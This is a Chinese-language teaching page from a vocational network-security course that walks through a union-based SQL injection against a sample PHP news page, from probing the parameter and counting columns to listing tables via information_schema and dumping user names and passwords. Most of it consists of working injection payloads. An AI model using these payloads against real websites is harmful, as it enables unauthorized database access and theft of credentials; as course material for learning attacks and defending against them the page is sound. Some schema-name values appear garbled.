网络技术专业教学资源库
国家高等职业教育网络技术专业教学资源库
计算机网络安全技术与实施
课程资源子库
网络安全相关工具软件使用介绍
PHP爆库攻击整理总结
/news.php?id=7901 (原URL)
/news.php?id=7901'(后面加一个单引号,会发现返回一个和正常页面不同的页面,这说明我们添加的单引号影响了程序的运行结果。此处很可能存在注入点。)
/news.php?id=7901 and 1=1 (当添加and 1=1时返回的页面和正常页面是一致的)
/news.php?id=7901 and 1=2(当添加and 1=2时返回的页面和正常页面不一致的)
现在我们可以确定此处是一个SQL注入点,程序对带入的参数没有做任何处理,直接带到数据库的查询语句中。
/news.php?id=7901 and ord(mid(version(),1,1))>51(发现返回正常页面,说明数据库是mysql,并且版本大于4.0,支持union查询,反之是4.0以下版本或者其他类型数据库。)
暴表中字段:
a. /news.php?id=7901 order by 10 返回错误页面,说明字段小于10
b. /news.php?id=7901 order by 5 返回正常页面,说明字段介于5和10之间
c. /news.php?id=7901 order by 6 返回错误页面,说明字段确实是5
这里采用了“二分查找法”,这样可以减少判断次数,节省时间。如果采用从order by 1依次增加数值的方法来判断,需要7次才可以确定字段数,采用“二分查找法”只需要4次就够。当字段数很大时,二分查找法的优势更加明显,效率更高。
下面我们构造如下的语句来确定哪些字段可以在页面上用来显示数据:
/news.php?id=0 union select 1,2,3,4,5
构造下面的语句来得到一些数据库信息:
/news.php?id=0 union select 1,2,database(),user(),5
根据页面返回信息,我们可以得到如下信息:
数据库名:test
用户名:root@localhost,Web系统和数据库在同一台服务器上
暴表名
/news.php?id=0 union select 1,2,table_name,4,5 from information_schema.tables where table_schema=0limit 0,1
/news.php?id=0 union select 1,2,table_name,4,5 from information_schema.tables where table_schema=0limit 1,1
注:table_schema=[库名],库名要转换成16进制ACS。Limit 0,1中的0表示查询库中第一个表,依此类推。
此处得知用户表名为user
暴字段
/news.php?id=0 union select 1,2,column_name,4,5 from information_schema.columns where table_name=0limit 0,1
暴字段内容
/news.php?id=0 union select 1,2,name,password,5 from test.user